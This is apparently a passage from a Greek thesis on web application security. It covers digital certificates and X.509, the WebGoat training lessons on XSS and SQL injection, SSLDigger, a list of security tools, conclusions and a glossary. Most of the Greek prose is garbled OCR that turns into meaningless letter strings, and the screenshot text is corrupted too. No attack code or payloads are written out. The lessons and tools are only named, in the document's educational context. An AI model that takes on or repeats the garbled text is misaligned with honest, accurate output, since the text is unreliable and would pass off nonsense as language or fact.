7.6 Ynorwoka motomomtika (Digital Certificates)

‘Eva. ynowokd motomomtikd potdler va givor por pecoio emAoyn yuoo va
ONUIOVPYNGOLVUE OGPAAEIG CLUVOESEIS OLOEVTIKOTNTAG AVALESO OTIS EQUPUOYEG TOV
dwdwktvov. ‘Eva motomomtikd mepiéyel 10 ONUOGIO0 KPUTTOYPAPNUEVO KAEWL TOV
GUGTNUOTOG OV KOATEXEL TO MOTOTOMTIKO. To yneakd moTomomTiKd emTpEnovy
OTO GUOTNUOTO, GTOVG TEAATEG KOl GTOVG OPYOUVIGHOUS KOOMG Kol 68 AALEG OVTOTNTES
VO TOVTOTTOLOVV TOVG E0VTOVS TOVG NAEKTPOVIKAL.

Ta ynoerokd TeTomTomTiKa amoteAovvToL amd 5 KOPLo GLGTATIKA

e  Tnv a&io Tov OMNUOGIOVL 1) TOL WIOTIKOV KAELOI0D KPVTTOYPAPNOTG.
e To okomd TOL TOGTOTOMTIKOV.

e  Tnv tavtdmTa TG OVIOTNTOS TOL TIGTOTOLELTAL.

e  Tn ypovikn mepiodo mov 10 MGTOTOMTIKO Efvar £yKvpo.

e To dvopa Kot 1) YNOLOKT LTOYPOPT) TOV KOUGTH TOV TIGTOTONTIKOV.
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MeoTomonTiKG

FeviKg |.|'I.EITI'D|.IE',|:IE,IEI; | MaBpopr mioTonoinang

=] NAnpowpopisg yia To nieTonoINTIKG

To moTonomTike npoopileTal yia Toug eENc oxonolc

* Eyylinan TG TAUTATTAL EvAc anopakpuauEvau UnoAoyIaTT

Katoyoc alexia

ExdoBnks and: alexiz

Eykupo and 11/25/2007 2wc 11/24/2008

[ Eykaraoraon moTonoinmikod. ., l Arhman exbomn

Ewcovo 98: Yneioxo motomointiko oo nAEKTPOVIKO oS KOTATTHUA
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MoTomoLnTIK

Mevikd | AEMTOUEpEiEg |ﬂ.||:|5pu::|.||*| maTonoinong

Epepdvian: | <Dkl b
Mzdio Tipr ™
E.ﬁ.}.\f&uplﬂpnq UNoypagng shalR5A
EEKE:':TW; laracroft_alex @hotmail.com, a...
EEVKUFID and Sunday, Movember 25, 2007 2..,
EE\-‘KLH:ID pExpl Monday, Movember 24, 2008 ...
Bpa laracroft_alex @hotmail. com, a...
Flanusmo khadi RSA (1024 Bits)
r AhyopiBpoc anominmong B
[F] Anomineoon 95890329 facB3fh 75 7001... v
shal

Enstzpyaoia idiomrymn [ AVTIYpacpr) O apyEia. .. ]

Ewcovo 99: Yneioxd motomointiko oo NAEKTPOVIKO HOG KOTATTHUG

7.7 To npoTomo X.509

To mo onuavtikd mpoédtvmo Y ypnon oto dwdiktvo eivor 1o X.509. M
mieloymoeio amd etapeieg Omwg Netscape, VeriSign, JavaSoft kot Microsoft
YPNOUOTOOVV awTd TO0 TPOTLIO Yo, AOyovg avBevrikdottag. To mpdtrumo X.509
YPNOUOTOIEITOL Y10 UNVOUATO TNAEKTPOVIKOL TOyLOPOUEIon, Yoo ovbBeviikdtnTo
KOO KaBdg Kot Yo ETKOPMOT| SopOpOV TOT®V dSOUEVOV TOV TAEOEHOVY PHEGM
TOV OLUSIKTVOV.

To a@pétvmo  X.509 éxer dnmuovpynbet amd6 v ITU  (International
Telecommunication Union wov 10pvOnke 1o 1865). Eivon vehBovvor yio tnv avamtoén
Kot TN Swmipnon g Tumomoinong OA®MV TV €OV TOV  EMKOWOVIOV,
CLUTEPIAAUPAVOUEVOD TPMOTOKOALN GUGKELMOV SIKTVOV. Y TTAPYOLV TPELG EKOOGELG TOV
npotumov X.509.

H mo amhr ékdoomn mpénet va mepiéyel Tig akoAovheg TANpoPopie:
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¢ 'Exdoomn tvrmonompévov motonomrikov (Certificate Format Version).

o Yeprokdg apBudg motomomrtikov (Certificate Serial Number).

e AlyopiBupoc e16odov eyypagnc (6mowg o DES kou moapdperpot
alyopifuov).

e To 6vopa TOV VITOYPAPOUEVOD TIGTOTOUTIKOV.

e Tnv nuepounvio. g €yKLPOTNTAS TOV TIGTOTOMTIKOV (NUEpOUN Vi
Evapang Kot ANgne).

e To dvopa kot To OMpdcto kKAEWL TG ovIOTNTaG TOL £)XEL TIoTOTOWOEd.

o Pneloxm vroypagn (amd opyoaviGHod EUTIGTOGVVNG).

Onm¢ pumopole VoL GUUTEPAVOLLE, VTN 1 TANpOoPopia ivor 0Tt xpelalOUOCTE Y10
Vo TPOYWPNOGOLUE oty  avbevtikdmta g ovromtag. Mag emitpémel  vo
emoAnBevcovpe TNV €YKLPOTNTO TOV TGTOTOMTIKOD OGO OPOPE TNV TPOEAEVCT] TOL
and €vo EUMIGTO OPYAVICUO, KOl VO, HOG TAPEYEL TO ONUOCI0 KAEWL TG ovidTTOg
MOOTE VO, UTOPECOVUE VO TO YPTGLULOTOMGOVUE Y10 VO ETIKVPDOGOVLE OV TO UNVOLLOL

amd v ovtotnTa givat avBevTiKo.
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8. Epyaieia (Tools)

8.1 WebGoat

O kaAdtepog tpoOmOg Yoo vo HdBovpe GYETIKE HE TNV OCQPAAELL GE SIKTLOKES
EPAPLOYES ELVOL VOL YPNOUYLOTOUCOVUE VO, ALTOOLOYEPLLOUEVO TTEPIPAAAOV GTO OTOi0

TO, TPOYPOUUUATIOTIKA AGON Ba £xovv TomobBetnOel oroOTIUAL.

"Eva této10 mepiparrov givar to WebGoat:

(http://www.owasp.org/software/webgoat.html)

To WebGoat eivat éva facicpévo e Java mepiBAAAov S1001KTVOKNG OGPAAELOG Yo
expudOnon. To WebGoat dev emyepel va eopowwoet éva aAndvd mAeKTpoviko
Katdotnua. Avtifeta and avtd, tpoceépet 12 pobnuota yio as@dieio 6to dikTvo:

e HTTP Basics

¢ Encoding Basics

e Fail Open Authentication
e HTML clues

e  Parameter Injection

e  Unchecked Email

e SQL Injection

e Thread Safety

e  Weak Authentication Cookie
e Database XSS

e Hidden Field Tampering
e  Weak Access Control

Kafe pabnuo meprrhapfaver éva oyédo, apkerd Pondnuota kot vrodeiEelc, tov
yoio KOS TNG EQPOPUOYNG KOOMS Kot TPaKTIKY e€Aoknon He TN duvaTdTNnTo Vol
TOPAKOAOVONGOLLE TNV AVTOAAOYT TOV JEGOUEVAOV TTOL YiveTon avapecso otov client

KOl OTOV SC€rver.

http://www.owasp.org/index.php/Category: OWASP_WebGoat_Project

Apyd eyxabiotodpe 1o WebGoat 5.0 yio windows ko Egkivdpie Ttov browser pog:
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http://localhost/WebGoat/attack

7

n
http://127.0.0.1/WebGoat/attack

Qg user ypaeovpe To guest ko password ypaeovpe TaAl guest.

Connect to 127.0.01 ot

The server 127.0.0.1 at WebGoat Application requires a
username and password.

Warning: Thiz server is requesting that your username and
password be sentin an insecure manner (basic authentication
without & secure connection].

User name: guest - |
Password: Iy
[ Remember my password

i ==l

Ewcova 100: Zovoeon.

18 Wetsost 3 “Windons e B

% = | @] http://127.00.1/WebGoat/attack

P~

o [@ WebGoat V5 Iil

Mo v feh = b Page v £ Tools * 2

o Webot 5

Thank you for using WebGoat!

This program is a demonstration of common web application flaws. The exercises are intended to provide
hands on experience with application penetration testing techniques. The WebGoat project is lead by Bruce
Mayhew. Please send all comments to Bruce at WebGoat@G2-Inc.com.

OWASP nsrecr)

The Open Wik Agplicafin Security Projost

Appiicetion Security Specialisrs
WebGoat Design Team Lesson Contributers
Bruce Mayhew Aspect Security
i Leurence Casey Sherif Koussa
I David Andesson Alex Smolen
Eric Sheridan Chuck Willis
Special Thanks for V5 Documentation Contributers
Sherif Koussa Robert Sullivan
{nttp:/iwww. macadamian.com) {http://www unitedhealthgroup.comi)
OWASP Autumn of Code Sherif Koussa
{http://www.owasp. org/) (http:/iwww. macadamian. com)

To all who have sent comments

| WARNING
‘Whil= running this program, your machine is sxrmely vulnarsbls to stack ¥ou should dissannact from the natwerk whils
using this program.

This program is for sducationsl purposss anly. Use of these techniquas without permission could lesd 1o job termination,

m

| [} € Internet | Protected Mode: Off

#100%
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Ewcovo 101: Apyixn aelioo.

@E} = | @] http://127.00.1/WebGoat/attack?Screen=158menu=410 ~ |3 | % || Live Search
= f3 - B - & v [hPage~ GTooks v

w I@u\& Cross Site Scripting (X55)

LAB: Cross Site Scripting (XSS)

OWASP WebGoat V5

Admin Functions Restart this Lesson

General

Code Quality Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.

Unvalidated Parameters For this exercise, your mission is to cause the application to serve a script of your making to
Broken Access Control some other user.

Broken Authentication and
Session Management
| Cross-Site Seripting [X55)

) 4
LAB: Cross Site Scripting = G“t Hls Hmndd

DES) !
i = Jﬁ Human Resources

How to Perform Stored Cross
| Site Scripting (X55)

How to Perform Reflected h'"'
Crass Site Scripting (455

Attacks

HTTROnly Test e

Il How to Perform Cross Site - - le_ﬁl.ﬂg‘ﬂ _

T rachig P51} Atk Larry Stooge (employee) -
Buffer Overflows 2
Injection Flaws
Improper Error Handling
Insecure Storage
Denial of Service
Insecure Configuration
Management
Web Services
AIAX Security
Challenge

I

Password

i [@ @ Internet | Protected Mode: Off w100% -

hElKéVOC 102: 71'0(,07581%[10( Hog E’ross SitE_Sicripting emiOeorng.

"w;'a How to Perform

6@ - | ] http://127.001 /WebGoat/tta

% 41 | @ Howto Perform Bind SQL Injection [ ]

468 1=610

2

OWASP WebGoat V5

Admin Functions Restart this Lesson

General

Code Quality The form below allows a user to enter an account number and determine if it is valid or not.

Unvalidated Parameters Use this form to develop a true / false test check other entries in the database.

Broken Access Control

Broken Authentication and Reference Ascii Values: 'A'=65'Z' =90 'a' =97 '2' = 122
Il Session Management

Cross-Site Scripting (XSS) The goal is to find the value of the first_name in table user_data for userid 15613. Put that
| Buffer Overflows name in the form to pass the lesson.

| Injection Flaws

How to Perform Command 101
injection Enter your Account Number: 101
How to Perform Blind 501 X
Injection Account number is valid

How to Perform Numeric SQL

| Injection By Chuck willis
[l How to Perform Log Spooti

Hovi'to/ Per ot XRATH,

Injection OWASP Foundstion
How to Perform String SOL

Injection

LAB: 501 Injection

Hirgto [Fse Dthase;

Bachdoors

Improper Error Handling
Insecure Storage
Denial of Service
Insecure Configuration
Management

Web Services

MIAX Security
Challenge

| [ @ Intemet | Protected Mode: Off H100% -

Eucéva 103 napoTéezy,ua Jilels EQL Injeétion emifeorng.
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8.2 SSLDigger

To SSLDigger etvat GAAn pa dwpedv epappoyn and t Foundstone

(http://www.foundstone.com/resources/proddesc/ssldigger.htm).

Extelel avtopota avdivon and cuotipato mov £xovv evepyomomuevo 1o SSL ko
T, dokiudlet yio évav aplud and kpvmroypoaeriuoata. To KatdAAnAo oynUATIGUEVA

ocvotpata 0g Ba Enpene va vTooTNPIlovV AGVVALUN KPUTTTOYPUQT LLALTO.

8.3 AlLo dmpedv (KoL HEPIKA AVOLYTOV KMOIKA) EPYULELD O.GPAAELONS
gival owwBéopa:

Paros (http://www.parosproxy.org)

Burp proxy (http://www.portswigger.net/proxy/)

Brutus (password cracker, http://www.hoobie.net/brutus/)
Burp Spider (http://www.portswigger.net/spider/)

Sock (http://www.portswigger.net/sock/)

WebScarab (http://www.owasp.org/software/webscarab.html)
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9. YVVOTTTIK(:

Amartobvtor OgpéMo aoQAAES OTIG OWKTLOKEG HOG EQOPUOYEG Yol TPELS
TPOTOAPYKOVS AOYOVG:

Apycd, omoroodnmote ovumOAnmTog emiTifépevog pmopel va expetaiievdet pia
advvapio. otnv e@appoyn aeov efowewwbel pe ™ YA®ooo pe TV omoia
dnpovpynOnke N epappoyn. O 10¢ Melissa givor éva T€AE10 TOPADELYLOL VIO QVTOV TOV
€100VG TNV EKUETAAAELO).

Agbtepov, ta Bépata acpaleiog Bo TPENEL Vo KATEXOVY TNV TPOTEPOLATNTA Y10l TOV
OpPYOVIGUO HaG, Yo TO AOYO OTL OEV OMOLTEITOL O OTTO10GANTTOTE VA Xl TPOSPaon oe
KkéOe €idovg mAnpogopieg mov pmopel va Eyovpe. Ta mpocwmikd apyeio eivor €va
TéAE0 TOpAdELyo. TANpoQopiag mov mpémel va givol mpoosPaoipa povo omd Eva
OLYKEKPIUEVO TANOOC aTtOU®Y, POCIGHEVO OTO SIKOUMUOTO KOl GTO, TPOVOULL TOV
YPNOTOV.

Televtaio, amonteitar avbevrikdétnta, €£0VG1030TNON, Kol U OTOKNPLEN apYdV
YW VO OOTEAEGOLV €VO OAVATOOTOGTO KOUUATL ac@aAilovtag TV €poployn oG
APPOTEPO KOl GE EMMESO TOYKOGUIOV SIKTHOV OAAG KOt EVOOLLYO TOL WOUMTIKOV HOG
dKTVOVL.

H ayopd mpoidvtov oto Aladiktvo petapépet 1otopikd poli tng Kou ) eofio Tov
KOTOVOA®TH OTL TO TPOCMOTIKA TOL dedoUéVa dgV ival amoAVT®mg ac@ain. Agv glval
Tehelmg adkooAdYNTog 0 OPOg, OU®MG TO TPAYHOTO EXOLV Yivel TAEOV GAP®DS
KaAvtepa. O ypnomg ypeldleTon vo OMGEL OPIGUEVO GTOTYEID Y10l TNV OAOKANP®OON
NG GLVOAANYNG TOV TOV €lvarl M O01evBvVveN Tov, TO THAEPWVO TOv, TO e-mail Tov,
KaBdg Kot Tov apfud e mMoTOTIKNG Tov Kaptoc. H mapoyn eyyvfcemv amd v pio
peptd 6t To TPOSOMIKE Tov dedopéva dev Ba ypnoiponomBodv and Tpitovg KoM
Kol 1 YPNoTN  KPLmToypapnuéveov oeMéwv pe mpootacio  128bit  amotehovv
mpoimdOeoT Yo KAOe NAEKTPOVIKO KOTAGTNUO KOl ETUTAEOV TOPEXOVY £V, GUOTLLOL
ACQAUAELOG GTOVG KOATAVOAWTEG EMOKENTES TV e-shop. Moiovott Bewpeitar OtL o
OLUVOAAOYEG HECH TIOTOTIKNG Kaptag oto Internet dev elvar aceaieic, ot €dkol
vrootnpilovy 0Tt T0 NAEKTPOVIKO eumdplo kot ot online cuvalhayég ev yével givan
ACQOAECTEPES OO TIG AYOPES LLE TOTOTIKES KApTES 6€ "Ppuokd" kataothpata. Kdade
QOPA TOV 0 TEAATNG TANPAOVEL LE MGTMOTIKY KAPTO G £VO. KATAGTNUA 1] £6TIOTOPLO
Kot KaBe opd mov TETA TNV AmOSEE O TIOTOTIKNG KAPTAG YivETOl TEPIOCOHTEPO

evaiwtog oty omdtn. (IInyn: Ram apiépopa oto e-shop, go-online).
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10. Ag&ko opdV

o Administrator: Bacukog kot otoeipiotg evog £pyov.
o Apache: Http Server oto dwodiktvo. Yrootpilel Yhowooo PHP.

o Binaries: Aoywopikd 10 omoio elvarl ypoppévo € OmAN TPOYPOUUUOTICTIKN

YADGCGO KO OTOLTOVV E1O01KE TPOYPAULOTO Y10, TNV OTOKMOIKOTOINOT) TOVG.

o Buffer: Ilepioyn amobnKevong npocwpivdv SedoUEVOV TOL YPNCLUOTOLEiTOL
Yy Tn STNPNOYN TV JEOOUEVOV TO. OTOI0, LETOPEPOVTAL OO 10, GUOKELY] GTNV

.

o CGI scripts: Emutpéner ) omuovpyio dvvopukov ceAidov, elval o mo

ocvvnBiopévog Tpdmog yio Evav Web Server va mepacet €va aitnuo Tov ypnotn o€ pio

EQOPUOYN N GE EVO TPOYPOLLLLLOL.

o Cookies: Eidwkoi mAiektpovikoi tOmor apyeiov mov ot Web Servers

amofnKevoVV 610 GKANPO H10KO TOL LTOAOYICTN TOV XPNOTH.

o CSR: Customer Service Representatives, mepihapfdaver onuocio RSA «iedl

KOl KATO10 EMTAEOV OEOOUEVO GYETIKA LLE TO TEAIKO TIGTOTOMTIKO.
o Hashes: Movadwo avoyvopiotikd, omoTOTmLL.

o IDEA 128 bits: ivat éva block cipher to omoio ypnowponotei 128 bit pnirog

KAEWO100 Y10 VO KPUTTTOYPAPTOEL EMTLY MG 64 bit plaintext.

o Module: Agitovpyikd cvoTATIKE TOV TOPEYOLY TEPLOPIOUEVN TPOGPACT O

Kémowa Waitepn TANpoPopia.

o MySQL: Xbotnua dwoyeipiong Pdoemv dedopévav.
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o Navicat: [Ipoypappa dayeipiong kot avantoéng Aoyispkov v t MySQL.

. OpenSSL: Avoyytov k@dwka viomoinomn twv SSL kot TLS npotokoriimy.

o Perl: Tlpoypoppatiotikny Svvapikn yYAOooo LYNAOL ETITESOL Yl EKTEAECT|

EVTOAMV Scripts.

o PHP: IN'wooa script amd tnv TAeupE TOV SIOKOMGTY, CYESOUGUEVT] EWOIKA Y10

10 Web. Evoopatovetor ce HTML cgAida.

o Phpmyadmin: Anpo@iAég avolktod KOOKO TPOYPOLL TOV XPNCULOTOEITAL

v T Oaxeipton twv Phoewv dedopévov e MySQL.

o PGP: YynM\ig ooogdrelag mpdypoppe KPLTTOYPAONONG Yol OTOGTOAN

KPUTTOYPAPNUEVOV UNVUUATOV NAEKTPOVIKOD TOYLOPOLEIOV.

o Plaintext: Acgdopévo, minpoeopia 1M keipevo mPotov TN OadIKacio TNg
KPLTTTOYPAPNONG.
o Scripts: Mo ce1pd amd €VIOAEG KEWWEVOL YPOUUEVEG GE UL GUYKEKPLUEVT

TLTOTOINGN 01 OTO1EG EKTEAOVVTOL GTO Server.

o VeriSign: ECoocpaliler avBevtikn emavoropfovopevn vrootpién yu Kabe

devBvvon Web mov £xet katdAnén .com 1) .net.

o I6¢ Melissa: 16¢ poaxpoeviodmv tov Word o omoiog petadidetor pécwo

niektpovikol Toyvdpoueiov (Outlook) oe cuvnupévo £yypago.
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